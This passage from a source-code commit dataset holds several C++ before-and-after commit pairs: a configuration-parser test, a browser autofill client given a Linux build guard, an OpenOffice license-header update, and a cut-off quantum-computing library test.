m_out_info.param1 = param1;\n        m_out_info.param2 = param2;\n    }\n\n    void operator()(\n        ConfigurationParser parser,\n        const char*         name\n    )\n    {\n        m_out_info.which  = 3;\n        m_out_info.parser = parser;\n        m_out_info.name   = name;\n    }\n\n    void operator()(\n        ConfigurationParser parser,\n        const char*         name,\n        bool                on\n    )\n    {\n        m_out_info.which  = 4;\n        m_out_info.parser = parser;\n        m_out_info.name   = name;\n        m_out_info.on     = on;\n    }\n\n    void operator()(\n        ConfigurationParser parser,\n        const char*         name,\n        List<const char*>   args\n    )\n    {\n        m_out_info.which  = 5;\n        m_out_info.parser = parser;\n        m_out_info.name   = name;\n\n        BOOST_FOREACH(const char* a, args) {\n            m_out_info.nparam.push_back(a);\n        }\n    }\n    void operator()(\n        ConfigurationParser parser,\n        const char*         name,\n        uint32_t            value,\n        uint32_t            mask\n    )\n    {\n        m_out_info.which  = 6;\n        m_out_info.parser = parser;\n        m_out_info.name   = name;\n        m_out_info.value  = value;\n        m_out_info.mask   = mask;\n    }\n\nprivate:\n    Info& m_out_info;\n};\n\nTEST_F(TestConfigurationDirectives, Registrar)\n{\n    ib_cfgparser_t* parser = NULL;\n    ib_status_t rc;\n\n    rc = ib_cfgparser_create(&parser, m_ib_engine);\n    ASSERT_EQ(IB_OK, rc);\n    ASSERT_TRUE(parser);\n    ConfigurationParser P(parser);\n\n    Engine engine(m_ib_engine);\n    Info info;\n    Handler handler(info);\n    Info info2;\n    Handler handler2(info2);\n\n    ConfigurationDirectivesRegistrar R(engine);\n    R.param1(\"Param1\", handler);\n    R.param2(\"Param2\", handler);\n    R.block(\"Block\", handler, handler2);\n    R.on_off(\"OnOff\", handler);\n    R.list(\"List\", handler);\n    map<string,int64_t> value_map;\n    value_map[\"a\"] = (1 << 1) & (1 << 3);\n    value_map[\"b\"] = (1 << 7);\n    R.op_flags(\"OpFlags\", handler, value_map);\n\n    info = Info();\n    P.parse_buffer(\"Param1 HelloWorld\\n\", true);\n    EXPECT_EQ(1,            info.which);\n    EXPECT_EQ(P,            info.parser);\n    EXPECT_EQ(\"Param1\",     info.name);\n    EXPECT_EQ(\"HelloWorld\", info.param1);\n\n    info = Info();\n    P.parse_buffer(\"Param2 Foo Bar\\n\", true);\n    EXPECT_EQ(2,        info.which);\n    EXPECT_EQ(P,        info.parser);\n    EXPECT_EQ(\"Param2\", info.name);\n    EXPECT_EQ(\"Foo\",    info.param1);\n    EXPECT_EQ(\"Bar\",    info.param2);\n\n    info = Info();\n    info2 = Info();\n    P.parse_buffer(\"<Block Foo>\\n<\/Block>\\n\", true);\n    EXPECT_EQ(1,       info.which);\n    EXPECT_EQ(P,       info.parser);\n    EXPECT_EQ(\"Block\", info.name);\n    EXPECT_EQ(\"Foo\",   info.param1);\n    EXPECT_EQ(3,       info2.which);\n    EXPECT_EQ(P,       info2.parser);\n    EXPECT_EQ(\"Block\", info2.name);\n\n    info = Info();\n    P.parse_buffer(\"OnOff true\\n\", true);\n    EXPECT_EQ(4,       info.which);\n    EXPECT_EQ(P,       info.parser);\n    EXPECT_EQ(\"OnOff\", info.name);\n    EXPECT_TRUE(info.on);\n\n    info = Info();\n    P.parse_buffer(\"OnOff false\\n\", true);\n    EXPECT_EQ(4,       info.which);\n    EXPECT_EQ(P,       info.parser);\n    EXPECT_EQ(\"OnOff\", info.name);\n    EXPECT_FALSE(info.on);    info = Info();\n\n    info = Info();\n    P.parse_buffer(\"List a b c d\\n\", true);\n    EXPECT_EQ(5,      info.which);\n    EXPECT_EQ(P,      info.parser);\n    EXPECT_EQ(\"List\", info.name);\n    EXPECT_EQ(4,      info.nparam.size());\n    EXPECT_EQ(\"a\",    info.nparam[0]);\n    EXPECT_EQ(\"b\",    info.nparam[1]);\n    EXPECT_EQ(\"c\",    info.nparam[2]);\n    EXPECT_EQ(\"d\",    info.nparam[3]);\n\n    info = Info();\n    P.parse_buffer(\"OpFlags +a -b\\n\", true);\n    EXPECT_EQ(6,         info.which);\n    EXPECT_EQ(P,         info.parser);\n    EXPECT_EQ(\"OpFlags\", info.name);\n    EXPECT_EQ(value_map[\"a\"] | value_map[\"b\"], info.mask);\n    EXPECT_EQ(value_map[\"a\"], info.value & info.mask);\n    EXPECT_EQ(value_map[\"b\"], ~info.value & info.mask);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2016 GitHub, Inc.\n\/\/ Use of this source code is governed by the MIT license that can be\n\/\/ found in the LICENSE file.\n\n#include \"atom\/browser\/autofill\/atom_autofill_client.h\"\n\n#include \"atom\/browser\/autofill\/personal_data_manager_factory.h\"\n#include \"atom\/browser\/api\/atom_api_web_contents.h\"\n#include \"atom\/common\/native_mate_converters\/string16_converter.h\"\n#include \"base\/strings\/utf_string_conversions.h\"\n#include \"brave\/browser\/brave_browser_context.h\"\n#include \"components\/autofill\/content\/browser\/content_autofill_driver.h\"\n#include \"components\/autofill\/content\/browser\/content_autofill_driver_factory.h\"\n#include \"components\/autofill\/core\/browser\/popup_item_ids.h\"\n#include \"components\/autofill\/core\/browser\/webdata\/autofill_webdata_service.h\"\n#include \"components\/autofill\/core\/common\/autofill_pref_names.h\"\n#include \"components\/user_prefs\/user_prefs.h\"\n#include \"content\/public\/browser\/render_frame_host.h\"\n#include \"content\/public\/common\/origin_util.h\"\n#include \"google_apis\/gaia\/identity_provider.h\"\n#include \"native_mate\/dictionary.h\"\n\nDEFINE_WEB_CONTENTS_USER_DATA_KEY(autofill::AtomAutofillClient);\n\n\/\/ stubs TODO - move to separate files\n#include \"net\/http\/http_request_headers.h\"\nnamespace variations {\nvoid AppendVariationHeaders(const GURL& url,\n                            bool incognito,\n                            bool uma_enabled,\n                            net::HttpRequestHeaders* headers) {\n}\n}\n\nnamespace rappor {\nvoid SampleDomainAndRegistryFromGURL(RapporService* rappor_service,\n                                     const std::string& metric,\n                                     const GURL& gurl) {}\n}  \/\/ namespace rappor\n\/\/ end stubs\n\nnamespace mate {\n\ntemplate<>\nstruct Converter<autofill::Suggestion> {\n  static v8::Local<v8::Value> ToV8(\n    v8::Isolate* isolate, autofill::Suggestion val) {\n    mate::Dictionary dict = mate::Dictionary::CreateEmpty(isolate);\n    dict.Set(\"value\", val.value);\n    dict.Set(\"frontend_id\", val.frontend_id);\n    return dict.GetHandle();\n  }\n};\n}  \/\/ namespace mate\n\nclass StubIdentityProvider : public IdentityProvider{\n public:\n  StubIdentityProvider() {}\n  ~StubIdentityProvider() override {}\n\n  std::string GetActiveUsername() override {\n    return std::string();\n  };\n\n  std::string GetActiveAccountId() override {\n    return std::string();\n  ;}\n\n  OAuth2TokenService* GetTokenService() override {\n    return nullptr;\n  };\n\n  bool RequestLogin() override {\n    return false;\n  };\n};\n\nnamespace autofill {\n\nAtomAutofillClient::AtomAutofillClient(content::WebContents* web_contents)\n    : content::WebContentsObserver(web_contents),\n      api_web_contents_(nullptr) {\n  DCHECK(web_contents);\n}\n\nAtomAutofillClient::~AtomAutofillClient() {\n}\n\nvoid AtomAutofillClient::Initialize(atom::api::WebContents* api_web_contents) {\n  api_web_contents_ = api_web_contents;\n}\n\nvoid AtomAutofillClient::DidAcceptSuggestion(const std::string& value,\n                                             int frontend_id,\n                                             int index) {\n  if (delegate_) {\n    delegate_->DidAcceptSuggestion(base::UTF8ToUTF16(value), frontend_id,\n                                   index);\n  }\n}\n\nPersonalDataManager* AtomAutofillClient::GetPersonalDataManager() {\n  content::BrowserContext* context = web_contents()->GetBrowserContext();\n  return PersonalDataManagerFactory::GetForBrowserContext(context);\n}\n\nscoped_refptr<AutofillWebDataService> AtomAutofillClient::GetDatabase() {\n  content::BrowserContext* context = web_contents()->GetBrowserContext();\n  return static_cast<brave::BraveBrowserContext*>(context)\n                ->GetAutofillWebdataService();\n}\n\nPrefService* AtomAutofillClient::GetPrefs() {\n  return user_prefs::UserPrefs::Get(web_contents()->GetBrowserContext());\n}\n\nsync_driver::SyncService* AtomAutofillClient::GetSyncService() {\n  return nullptr;\n}\n\nIdentityProvider* AtomAutofillClient::GetIdentityProvider() {\n  if (!identity_provider_) {\n     identity_provider_.reset(new StubIdentityProvider());\n  }\n  return identity_provider_.get();\n}\n\nrappor::RapporService* AtomAutofillClient::GetRapporService() {\n  return nullptr;\n}\n\nvoid AtomAutofillClient::ShowAutofillSettings() {\n  if (api_web_contents_) {\n    api_web_contents_->Emit(\"show-autofill-settings\");\n  }\n}\n\nvoid AtomAutofillClient::ShowUnmaskPrompt(\n    const CreditCard& card,\n    UnmaskCardReason reason,\n    base::WeakPtr<CardUnmaskDelegate> delegate) {\n}\n\nvoid AtomAutofillClient::OnUnmaskVerificationResult(\n    PaymentsRpcResult result) {\n}\n\nvoid AtomAutofillClient::ConfirmSaveCreditCardLocally(\n    const CreditCard& card,\n    const base::Closure& callback) {\n}\n\nvoid AtomAutofillClient::ConfirmSaveCreditCardToCloud(\n    const CreditCard& card,\n    std::unique_ptr<base::DictionaryValue> legal_message,\n    const base::Closure& callback) {\n}\n\nvoid AtomAutofillClient::LoadRiskData(\n    const base::Callback<void(const std::string&)>& callback) {\n}\n\nbool AtomAutofillClient::HasCreditCardScanFeature() {\n  return false;\n}\n\nvoid AtomAutofillClient::ScanCreditCard(\n    const CreditCardScanCallback& callback) {\n}\n\nvoid AtomAutofillClient::ShowAutofillPopup(\n    const gfx::RectF& element_bounds,\n    base::i18n::TextDirection text_direction,\n    const std::vector<autofill::Suggestion>& suggestions,\n    base::WeakPtr<AutofillPopupDelegate> delegate) {\n  delegate_ = delegate;\n  if (api_web_contents_) {\n    v8::Locker locker(api_web_contents_->isolate());\n    v8::HandleScope handle_scope(api_web_contents_->isolate());\n    mate::Dictionary rect =\n      mate::Dictionary::CreateEmpty(api_web_contents_->isolate());\n    gfx::Rect client_area = web_contents()->GetContainerBounds();\n    rect.Set(\"x\", element_bounds.x());\n    rect.Set(\"y\", element_bounds.y());\n    rect.Set(\"width\", element_bounds.width());\n    rect.Set(\"height\", element_bounds.height());\n    rect.Set(\"clientWidth\", client_area.width());\n    rect.Set(\"clientHeight\", client_area.height());\n\n    api_web_contents_->Emit(\"show-autofill-popup\",\n                            suggestions,\n                            rect);\n  }\n  delegate->OnPopupShown();\n}\n\nvoid AtomAutofillClient::UpdateAutofillPopupDataListValues(\n    const std::vector<base::string16>& values,\n    const std::vector<base::string16>& labels) {\n  if (api_web_contents_) {\n    api_web_contents_->Emit(\"update-autofill-popup-data-list-values\",\n                            values, labels);\n  }\n}\n\nvoid AtomAutofillClient::HideAutofillPopup() {\n  \/\/ TODO(anthony): conflict with context menu\n  \/\/ delegate_.reset();\n  if (api_web_contents_) {\n    api_web_contents_->Emit(\"hide-autofill-popup\");\n  }\n}\n\nbool AtomAutofillClient::IsAutocompleteEnabled() {\n  \/\/ For browser, Autocomplete is always enabled as part of Autofill.\n  return GetPrefs()->GetBoolean(prefs::kAutofillEnabled);\n}\n\nvoid AtomAutofillClient::PropagateAutofillPredictions(\n    content::RenderFrameHost* rfh,\n    const std::vector<autofill::FormStructure*>& forms) {\n}\n\nvoid AtomAutofillClient::DidFillOrPreviewField(\n    const base::string16& autofilled_value,\n    const base::string16& profile_full_name) {\n}\n\nvoid AtomAutofillClient::OnFirstUserGestureObserved() {\n  ContentAutofillDriverFactory* factory =\n    ContentAutofillDriverFactory::FromWebContents(web_contents());\n  DCHECK(factory);\n\n  for (content::RenderFrameHost* frame : web_contents()->GetAllFrames()) {\n    \/\/ No need to notify non-live frames.\n    \/\/ And actually they have no corresponding drivers in the factory's map.\n    if (!frame->IsRenderFrameLive())\n      continue;\n    ContentAutofillDriver* driver = factory->DriverForFrame(frame);\n    DCHECK(driver);\n    driver->NotifyFirstUserGestureObservedInTab();\n  }\n}\n\nbool AtomAutofillClient::IsContextSecure(const GURL& form_origin) {\n  return content::IsOriginSecure(form_origin);\n}\n\n}  \/\/ namespace autofill\n<commit_msg>Avoid duplicate definition on linux<commit_after>\/\/ Copyright (c) 2016 GitHub, Inc.\n\/\/ Use of this source code is governed by the MIT license that can be\n\/\/ found in the LICENSE file.\n\n#include \"atom\/browser\/autofill\/atom_autofill_client.h\"\n\n#include \"atom\/browser\/autofill\/personal_data_manager_factory.h\"\n#include \"atom\/browser\/api\/atom_api_web_contents.h\"\n#include \"atom\/common\/native_mate_converters\/string16_converter.h\"\n#include \"base\/strings\/utf_string_conversions.h\"\n#include \"brave\/browser\/brave_browser_context.h\"\n#include \"components\/autofill\/content\/browser\/content_autofill_driver.h\"\n#include \"components\/autofill\/content\/browser\/content_autofill_driver_factory.h\"\n#include \"components\/autofill\/core\/browser\/popup_item_ids.h\"\n#include \"components\/autofill\/core\/browser\/webdata\/autofill_webdata_service.h\"\n#include \"components\/autofill\/core\/common\/autofill_pref_names.h\"\n#include \"components\/user_prefs\/user_prefs.h\"\n#include \"content\/public\/browser\/render_frame_host.h\"\n#include \"content\/public\/common\/origin_util.h\"\n#include \"google_apis\/gaia\/identity_provider.h\"\n#include \"native_mate\/dictionary.h\"\n\nDEFINE_WEB_CONTENTS_USER_DATA_KEY(autofill::AtomAutofillClient);\n\n\/\/ stubs TODO - move to separate files\n#include \"net\/http\/http_request_headers.h\"\nnamespace variations {\nvoid AppendVariationHeaders(const GURL& url,\n                            bool incognito,\n                            bool uma_enabled,\n                            net::HttpRequestHeaders* headers) {\n}\n}\n#if !defined(OS_LINUX)\nnamespace rappor {\nvoid SampleDomainAndRegistryFromGURL(RapporService* rappor_service,\n                                     const std::string& metric,\n                                     const GURL& gurl) {}\n}  \/\/ namespace rappor\n#endif\n\/\/ end stubs\n\nnamespace mate {\n\ntemplate<>\nstruct Converter<autofill::Suggestion> {\n  static v8::Local<v8::Value> ToV8(\n    v8::Isolate* isolate, autofill::Suggestion val) {\n    mate::Dictionary dict = mate::Dictionary::CreateEmpty(isolate);\n    dict.Set(\"value\", val.value);\n    dict.Set(\"frontend_id\", val.frontend_id);\n    return dict.GetHandle();\n  }\n};\n}  \/\/ namespace mate\n\nclass StubIdentityProvider : public IdentityProvider{\n public:\n  StubIdentityProvider() {}\n  ~StubIdentityProvider() override {}\n\n  std::string GetActiveUsername() override {\n    return std::string();\n  };\n\n  std::string GetActiveAccountId() override {\n    return std::string();\n  ;}\n\n  OAuth2TokenService* GetTokenService() override {\n    return nullptr;\n  };\n\n  bool RequestLogin() override {\n    return false;\n  };\n};\n\nnamespace autofill {\n\nAtomAutofillClient::AtomAutofillClient(content::WebContents* web_contents)\n    : content::WebContentsObserver(web_contents),\n      api_web_contents_(nullptr) {\n  DCHECK(web_contents);\n}\n\nAtomAutofillClient::~AtomAutofillClient() {\n}\n\nvoid AtomAutofillClient::Initialize(atom::api::WebContents* api_web_contents) {\n  api_web_contents_ = api_web_contents;\n}\n\nvoid AtomAutofillClient::DidAcceptSuggestion(const std::string& value,\n                                             int frontend_id,\n                                             int index) {\n  if (delegate_) {\n    delegate_->DidAcceptSuggestion(base::UTF8ToUTF16(value), frontend_id,\n                                   index);\n  }\n}\n\nPersonalDataManager* AtomAutofillClient::GetPersonalDataManager() {\n  content::BrowserContext* context = web_contents()->GetBrowserContext();\n  return PersonalDataManagerFactory::GetForBrowserContext(context);\n}\n\nscoped_refptr<AutofillWebDataService> AtomAutofillClient::GetDatabase() {\n  content::BrowserContext* context = web_contents()->GetBrowserContext();\n  return static_cast<brave::BraveBrowserContext*>(context)\n                ->GetAutofillWebdataService();\n}\n\nPrefService* AtomAutofillClient::GetPrefs() {\n  return user_prefs::UserPrefs::Get(web_contents()->GetBrowserContext());\n}\n\nsync_driver::SyncService* AtomAutofillClient::GetSyncService() {\n  return nullptr;\n}\n\nIdentityProvider* AtomAutofillClient::GetIdentityProvider() {\n  if (!identity_provider_) {\n     identity_provider_.reset(new StubIdentityProvider());\n  }\n  return identity_provider_.get();\n}\n\nrappor::RapporService* AtomAutofillClient::GetRapporService() {\n  return nullptr;\n}\n\nvoid AtomAutofillClient::ShowAutofillSettings() {\n  if (api_web_contents_) {\n    api_web_contents_->Emit(\"show-autofill-settings\");\n  }\n}\n\nvoid AtomAutofillClient::ShowUnmaskPrompt(\n    const CreditCard& card,\n    UnmaskCardReason reason,\n    base::WeakPtr<CardUnmaskDelegate> delegate) {\n}\n\nvoid AtomAutofillClient::OnUnmaskVerificationResult(\n    PaymentsRpcResult result) {\n}\n\nvoid AtomAutofillClient::ConfirmSaveCreditCardLocally(\n    const CreditCard& card,\n    const base::Closure& callback) {\n}\n\nvoid AtomAutofillClient::ConfirmSaveCreditCardToCloud(\n    const CreditCard& card,\n    std::unique_ptr<base::DictionaryValue> legal_message,\n    const base::Closure& callback) {\n}\n\nvoid AtomAutofillClient::LoadRiskData(\n    const base::Callback<void(const std::string&)>& callback) {\n}\n\nbool AtomAutofillClient::HasCreditCardScanFeature() {\n  return false;\n}\n\nvoid AtomAutofillClient::ScanCreditCard(\n    const CreditCardScanCallback& callback) {\n}\n\nvoid AtomAutofillClient::ShowAutofillPopup(\n    const gfx::RectF& element_bounds,\n    base::i18n::TextDirection text_direction,\n    const std::vector<autofill::Suggestion>& suggestions,\n    base::WeakPtr<AutofillPopupDelegate> delegate) {\n  delegate_ = delegate;\n  if (api_web_contents_) {\n    v8::Locker locker(api_web_contents_->isolate());\n    v8::HandleScope handle_scope(api_web_contents_->isolate());\n    mate::Dictionary rect =\n      mate::Dictionary::CreateEmpty(api_web_contents_->isolate());\n    gfx::Rect client_area = web_contents()->GetContainerBounds();\n    rect.Set(\"x\", element_bounds.x());\n    rect.Set(\"y\", element_bounds.y());\n    rect.Set(\"width\", element_bounds.width());\n    rect.Set(\"height\", element_bounds.height());\n    rect.Set(\"clientWidth\", client_area.width());\n    rect.Set(\"clientHeight\", client_area.height());\n\n    api_web_contents_->Emit(\"show-autofill-popup\",\n                            suggestions,\n                            rect);\n  }\n  delegate->OnPopupShown();\n}\n\nvoid AtomAutofillClient::UpdateAutofillPopupDataListValues(\n    const std::vector<base::string16>& values,\n    const std::vector<base::string16>& labels) {\n  if (api_web_contents_) {\n    api_web_contents_->Emit(\"update-autofill-popup-data-list-values\",\n                            values, labels);\n  }\n}\n\nvoid AtomAutofillClient::HideAutofillPopup() {\n  \/\/ TODO(anthony): conflict with context menu\n  \/\/ delegate_.reset();\n  if (api_web_contents_) {\n    api_web_contents_->Emit(\"hide-autofill-popup\");\n  }\n}\n\nbool AtomAutofillClient::IsAutocompleteEnabled() {\n  \/\/ For browser, Autocomplete is always enabled as part of Autofill.\n  return GetPrefs()->GetBoolean(prefs::kAutofillEnabled);\n}\n\nvoid AtomAutofillClient::PropagateAutofillPredictions(\n    content::RenderFrameHost* rfh,\n    const std::vector<autofill::FormStructure*>& forms) {\n}\n\nvoid AtomAutofillClient::DidFillOrPreviewField(\n    const base::string16& autofilled_value,\n    const base::string16& profile_full_name) {\n}\n\nvoid AtomAutofillClient::OnFirstUserGestureObserved() {\n  ContentAutofillDriverFactory* factory =\n    ContentAutofillDriverFactory::FromWebContents(web_contents());\n  DCHECK(factory);\n\n  for (content::RenderFrameHost* frame : web_contents()->GetAllFrames()) {\n    \/\/ No need to notify non-live frames.\n    \/\/ And actually they have no corresponding drivers in the factory's map.\n    if (!frame->IsRenderFrameLive())\n      continue;\n    ContentAutofillDriver* driver = factory->DriverForFrame(frame);\n    DCHECK(driver);\n    driver->NotifyFirstUserGestureObservedInTab();\n  }\n}\n\nbool AtomAutofillClient::IsContextSecure(const GURL& form_origin) {\n  return content::IsOriginSecure(form_origin);\n}\n\n}  \/\/ namespace autofill\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: hfi_constgroup.cxx,v $\n *\n *  $Revision: 1.9 $\n *\n *  last change: $Author: vg $ $Date: 2007-09-18 13:55:49 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#include <precomp.h>\n#include \"hfi_constgroup.hxx\"\n\n\n\/\/ NOT FULLY DEFINED SERVICES\n#include <ary\/idl\/i_ce.hxx>\n#include <ary\/idl\/ik_constgroup.hxx>\n#include <toolkit\/hf_linachain.hxx>\n#include <toolkit\/hf_navi_sub.hxx>\n#include <toolkit\/hf_title.hxx>\n#include \"hfi_navibar.hxx\"\n#include \"hfi_property.hxx\"\n#include \"hi_linkhelper.hxx\"\n\n\nextern const String\n    C_sCePrefix_Constants(\"constants group\");\n\n\nnamespace\n{\n\nconst String\n    C_sList_Constants(\"Constants\");\nconst String\n    C_sList_Constants_Label(\"Constants\");\nconst String\n    C_sList_ConstantDetails(\"Constants' Details\");\nconst String\n    C_sList_ConstantDetails_Label(\"ConstantDetails\");\n\nenum E_SubListIndices\n{\n    sli_ConstantsSummary = 0,\n    sli_ConstantDetails = 1\n};\n\n\n}   \/\/ anonymous namespace\n\n\n\nHF_IdlConstGroup::HF_IdlConstGroup( Environment &   io_rEnv,\n                                    Xml::Element &  o_rOut )\n    :   HtmlFactory_Idl(io_rEnv, &o_rOut)\n{\n}\n\nHF_IdlConstGroup::~HF_IdlConstGroup()\n{\n}\n\nvoid\nHF_IdlConstGroup::Produce_byData( const client & i_ce ) const\n{\n    Dyn<HF_NaviSubRow>\n        pNaviSubRow( &make_Navibar(i_ce) );\n\n    HF_TitleTable\n        aTitle(CurOut());\n    HF_LinkedNameChain\n        aNameChain(aTitle.Add_Row());\n\n    aNameChain.Produce_CompleteChain(Env().CurPosition(), nameChainLinker);\n    produce_Title(aTitle, C_sCePrefix_Constants, i_ce);\n\n    write_Docu(aTitle.Add_Row(), i_ce);\n    CurOut() << new Html::HorizontalLine();\n\n    dyn_ce_list\n        dpConstants;\n    ary::idl::ifc_constgroup::attr::Get_Constants(dpConstants, i_ce);\n\n    if ( (*dpConstants).operator bool() )\n    {\n        produce_Members( *dpConstants,\n                         C_sList_Constants,\n                         C_sList_Constants_Label,\n                         C_sList_ConstantDetails,\n                         C_sList_ConstantDetails_Label );\n        pNaviSubRow->SwitchOn(sli_ConstantsSummary);\n        pNaviSubRow->SwitchOn(sli_ConstantDetails);\n    }\n    pNaviSubRow->Produce_Row();\n}\n\nHF_NaviSubRow &\nHF_IdlConstGroup::make_Navibar( const client & i_ce ) const\n{\n    HF_IdlNavigationBar\n        aNaviBar(Env(), CurOut());\n    aNaviBar.Produce_CeMainRow(i_ce,true);  \/\/ true := avoid link to Use-page.\n\n    DYN HF_NaviSubRow &\n        ret = aNaviBar.Add_SubRow();\n    ret.AddItem(C_sList_Constants, C_sList_Constants_Label, false);\n    ret.AddItem(C_sList_ConstantDetails, C_sList_ConstantDetails_Label, false);\n\n    CurOut() << new Html::HorizontalLine();\n    return ret;\n}\n\nvoid\nHF_IdlConstGroup::produce_MemberDetails( HF_SubTitleTable &  o_table,\n                                         const client &      i_ce ) const\n{\n    HF_IdlConstant\n        aElement( Env(), o_table );\n    aElement.Produce_byData(i_ce);\n}\n\n<commit_msg>INTEGRATION: CWS changefileheader (1.9.26); FILE MERGED 2008\/03\/28 16:02:02 rt 1.9.26.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: hfi_constgroup.cxx,v $\n * $Revision: 1.10 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org.  If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n#include <precomp.h>\n#include \"hfi_constgroup.hxx\"\n\n\n\/\/ NOT FULLY DEFINED SERVICES\n#include <ary\/idl\/i_ce.hxx>\n#include <ary\/idl\/ik_constgroup.hxx>\n#include <toolkit\/hf_linachain.hxx>\n#include <toolkit\/hf_navi_sub.hxx>\n#include <toolkit\/hf_title.hxx>\n#include \"hfi_navibar.hxx\"\n#include \"hfi_property.hxx\"\n#include \"hi_linkhelper.hxx\"\n\n\nextern const String\n    C_sCePrefix_Constants(\"constants group\");\n\n\nnamespace\n{\n\nconst String\n    C_sList_Constants(\"Constants\");\nconst String\n    C_sList_Constants_Label(\"Constants\");\nconst String\n    C_sList_ConstantDetails(\"Constants' Details\");\nconst String\n    C_sList_ConstantDetails_Label(\"ConstantDetails\");\n\nenum E_SubListIndices\n{\n    sli_ConstantsSummary = 0,\n    sli_ConstantDetails = 1\n};\n\n\n}   \/\/ anonymous namespace\n\n\n\nHF_IdlConstGroup::HF_IdlConstGroup( Environment &   io_rEnv,\n                                    Xml::Element &  o_rOut )\n    :   HtmlFactory_Idl(io_rEnv, &o_rOut)\n{\n}\n\nHF_IdlConstGroup::~HF_IdlConstGroup()\n{\n}\n\nvoid\nHF_IdlConstGroup::Produce_byData( const client & i_ce ) const\n{\n    Dyn<HF_NaviSubRow>\n        pNaviSubRow( &make_Navibar(i_ce) );\n\n    HF_TitleTable\n        aTitle(CurOut());\n    HF_LinkedNameChain\n        aNameChain(aTitle.Add_Row());\n\n    aNameChain.Produce_CompleteChain(Env().CurPosition(), nameChainLinker);\n    produce_Title(aTitle, C_sCePrefix_Constants, i_ce);\n\n    write_Docu(aTitle.Add_Row(), i_ce);\n    CurOut() << new Html::HorizontalLine();\n\n    dyn_ce_list\n        dpConstants;\n    ary::idl::ifc_constgroup::attr::Get_Constants(dpConstants, i_ce);\n\n    if ( (*dpConstants).operator bool() )\n    {\n        produce_Members( *dpConstants,\n                         C_sList_Constants,\n                         C_sList_Constants_Label,\n                         C_sList_ConstantDetails,\n                         C_sList_ConstantDetails_Label );\n        pNaviSubRow->SwitchOn(sli_ConstantsSummary);\n        pNaviSubRow->SwitchOn(sli_ConstantDetails);\n    }\n    pNaviSubRow->Produce_Row();\n}\n\nHF_NaviSubRow &\nHF_IdlConstGroup::make_Navibar( const client & i_ce ) const\n{\n    HF_IdlNavigationBar\n        aNaviBar(Env(), CurOut());\n    aNaviBar.Produce_CeMainRow(i_ce,true);  \/\/ true := avoid link to Use-page.\n\n    DYN HF_NaviSubRow &\n        ret = aNaviBar.Add_SubRow();\n    ret.AddItem(C_sList_Constants, C_sList_Constants_Label, false);\n    ret.AddItem(C_sList_ConstantDetails, C_sList_ConstantDetails_Label, false);\n\n    CurOut() << new Html::HorizontalLine();\n    return ret;\n}\n\nvoid\nHF_IdlConstGroup::produce_MemberDetails( HF_SubTitleTable &  o_table,\n                                         const client &      i_ce ) const\n{\n    HF_IdlConstant\n        aElement( Env(), o_table );\n    aElement.Produce_byData(i_ce);\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Used for testing, do not use it as an example\n#include <qpp.h>\n#include <experimental\/experimental.h>\n\/\/ #include <MATLAB\/matlab.h>\nusing namespace qpp;\n\n\/\/ Future work\n\/\/ TODO: Implement a circuit description language, load\/save from\/to file\n\/\/ TODO: Write a MatrixView class, for multi-index lazy evaluation view - wip\n\ncmat gettmp()\n{\n    cmat tmp(2, 2);\n    tmp << 10, 20, 30, 40;\n    return tmp;\n}\n\nint main()\n{\n    \/\/ testing qpp::experimental::MatrixView\n    idx ROWS = 4, COLS = 4;\n    cmat A = gt.CNOT;\n    \/\/A << 1, 2., 3., 4.;\n\n    std::cout << \"Initial:\\n\";\n    std::cout << disp(A) << std::endl << std::endl;\n\n    auto viewA = experimental::make_MatrixView(A, {1, 0});\n    experimental::MatrixView<cmat> viewB = viewA;\n\n    \/\/ this should not compile, and it doesn't :)\n    \/\/ experimental::MatrixView<cmat> tmpview{gettmp()};\n\n    std::cout << \"MatrixView: \\n\";\n    std::cout << disp(viewA) << std::endl << std::endl;\n\n    std::cout << \"Copy via static_cast of the MatrixView:\\n\";\n    cmat result = static_cast<cmat>(viewA); \/\/ convert\n    std::cout << disp(result) << std::endl;\n}<commit_msg>commit<commit_after>\/\/ Used for testing, do not use it as an example\n#include <qpp.h>\n#include <experimental\/experimental.h>\n\/\/ #include <MATLAB\/matlab.h>\nusing namespace qpp;\n\n\/\/ Future work\n\/\/ TODO: Implement a circuit description language, load\/save from\/to file\n\/\/ TODO: Write a MatrixView class, for multi-index lazy evaluation view - wip\n\ncmat gettmp()\n{\n    cmat tmp(2, 2);\n    tmp << 10, 20, 30, 40;\n    return tmp;\n}\n\nint main()\n{\n    \/\/ testing qpp::experimental::MatrixView\n    idx ROWS = 4, COLS = 4;\n    cmat A = gt.CNOT;\n    \/\/A << 1, 2., 3., 4.;\n\n    std::cout << 